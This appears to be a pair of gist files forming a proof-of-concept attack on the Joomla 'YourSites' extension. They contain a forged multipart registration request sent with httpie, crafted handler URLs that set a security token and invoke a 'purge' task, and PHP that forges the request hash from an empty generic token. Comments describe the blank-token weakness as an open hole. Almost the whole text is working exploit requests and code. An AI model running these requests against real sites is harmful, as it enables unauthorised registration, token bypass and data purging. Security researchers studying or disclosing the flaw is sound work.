gistfile1.txt

echo '------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="url"

http://client2.yoursitesdemo.net/
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="token"

4515815815b7b3175764729.28692238
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="hash"

01ce8ee30cb8ca42fad421a4f89a52fb
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="coreversion"

6.6.6
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="superuser"

-1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="pluginversion"

6.6.6
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="sitename"

Yup, its really easy to hack YourSites
------WebKitFormBoundary7MA4YWxkTrZu0gW--' |  \
  http POST 'https://www.yoursitesdemo.net/index.php?option=com_yoursites&task=site.register&tmpl=component' \
  Cache-Control:no-cache \
  Content-Type:application/x-www-form-urlencoded \
  Postman-Token:56cac19f-c325-4d27-8f9f-ce40c007f9db \
  User-Agent:'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0' \
  content-type:'multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW'

gistfile2.txt

http://joomla:8080/?typeaheadtask=gwejson&file=getupdatedata&path=plugin&folder=yoursites&plugin=handler&ttoption=com_yoursites&json={"task":"setupsecuritytoken"}


http://joomla:8080/?typeaheadtask=gwejson&file=getupdatedata&path=plugin&folder=yoursites&plugin=handler&ttoption=com_yoursites&json={"securityToken":"c1da7cfea1c90cf7a8ac73a8cd693cbd","token":"16713072025b7b29ac3f9c83.50257010","task":"purge"}

# if call home to exchange a generic token for a specific token doesnt succeed then the generic token can always be used. Open hole!

# A Joomla admin can save a blank token


<?php

$generictoken = '';

			$data["token"] = '10669534995b7b34c9b179c0.27151451';
			$data["hash"]  = md5($data["token"] . "combined with" . $generictoken );
			
			var_dump($data);
			
				$data["token"] = '10669534995b7b34c9b179c0.27151451';
			$data["hash"]  = md5($data["token"] . " combined with " . $generictoken );
		
			var_dump($data);